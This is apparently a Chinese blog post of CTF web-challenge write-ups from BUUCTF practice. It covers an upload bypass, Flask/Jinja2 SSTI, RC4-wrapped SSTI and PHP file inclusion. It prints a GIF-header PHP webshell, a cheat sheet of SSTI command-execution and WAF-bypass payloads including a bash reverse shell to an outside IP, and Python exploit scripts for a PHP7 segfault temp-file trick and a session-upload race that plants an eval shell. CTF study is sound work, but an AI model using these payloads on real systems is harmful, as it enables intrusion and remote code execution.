[BUUCTF] 备赛刷题第二天

[WUSTCTF2020]CV Maker

漏洞源码:

from flask import Flask, render_template_string, request 

app = Flask(__name__) 
app.secret_key = "fuk9dfuk5680fukbddbee2fuk" 

@app.route('/', methods=['GET']) 

def index(): 
  name = 'Flask' + ' & ' + request.args.get("name", default="Flask") 
  //可以看到下面这行代码直接拼接了name参数的值,从而导致了ssti漏洞
  template = """ {% extends "layout.html" %} {% block content %} <div class="content-section"> I &hearts; """ + name + """ </div> {% endblock %}"""  
  return render_template_string(template) 

if __name__ == '__main__': 
  app.run(debug=False)

标准姿势先register
虽然有mysql报错,但是不要被迷惑,继续

login
发现有头像
很熟悉的场景

试试文件上传
这里又出现exif_imagetype()
按照之前的.htaccess + payload文件上传没有成功
试试直接php伪造文件头

#shell.php
GIF89a12		
<?php eval($_REQUEST['cmd']);?>

上传成功。但是上传路径在哪里找呢

学到了新姿势,检查元素

在这里插入图片描述
访问就可以拿到shell了

[RootersCTF2019]I_❤️_Flask

绝绝子,我一直在cat /f*
但是根目录下没有flag文件
原来是全局都没有

flag.txt

拓宽思路 多多尝试

payload1:

/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27_IterationGuard%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat f*%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

payload2:

/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("cat f* /").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

终极payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

直接到到达flag.txt路径下

在这里插入图片描述pwd一下
在这里插入图片描述

常见SSTI的payload收集

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}


官方漏洞利用方法

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

WAF绕过

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
 
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

新姿势:

  1. Jinjia2模版注入
  2. Arjun参数爆破工具
  3. tplmap模版注入工具

学习1
学习2

[CISCN2019 华东南赛区]Double Secret

Welcome To Find Secret
  • 目录扫描/secrect
Tell me your secret.I will encrypt it so others can't see
  • 传参/secret?secret= 随便输入

  • 报错jinjia2模板注入 + RC4加密脚本

在这里插入图片描述

app.py 源码:

if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
    
    a=render_template_string(safe(deS))
    
    if 'ciscn' in a.lower():
        return 'flag detected!'
return a

思路是rc4加密了secrect,再进行渲染
所以要触发flask stti rce 就要用密钥进行加密 ?

密钥:

HereIsTreasure

STTI payload:

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}

RC4加密脚本:

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    #print("加密后的输出(经过编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

在线工具加密的payload的行不通

做题思路总结

没有思路应该就转移到源码泄露

[NPUCTF2020]ezinclude

看了一眼源码+cookie的hash|完全没思路

在这里插入图片描述
在这里插入图片描述md5===$pass

那不就是
$pass === md5

/?pass=fa25e54758d5d5c1927781a6ede89f8a

不看源码直接访问的话会重定向到404.html

在这里插入图片描述

  • 文件包含

怎么都包含不到flag

在这里插入图片描述

【预期解】

这里只能利用php7 segment fault特性:

https://www.cnblogs.com/linuxsec/articles/11278477.html

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

不小心传多了,虽然显示有问题,但是还是文件成功保留了

访问/dir.php找到临时文件名,并通过/flflflflag.php?file=/tmp/临时文件名进行代码执行
在这里插入图片描述
flag在phpinfo()中在这里插入图片描述

【非预期解】

其实我第一反应也是session文件包含,但是没尝试

import io
import sys
import requests
import threading

host = 'http://2f25d437-13c2-423b-8ec6-ef5f599ae944.node4.buuoj.cn:81/flflflflag.php'
sessid = 'j1a'


def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file": ('a.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

网传exp,习惯性改id,表明懂原理

在这里插入图片描述
绕过了disabled function,笑死,结果flag不在这
在这里插入图片描述

做题思路总结

没有思路应该就转移到抓包看响应、源码泄露

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值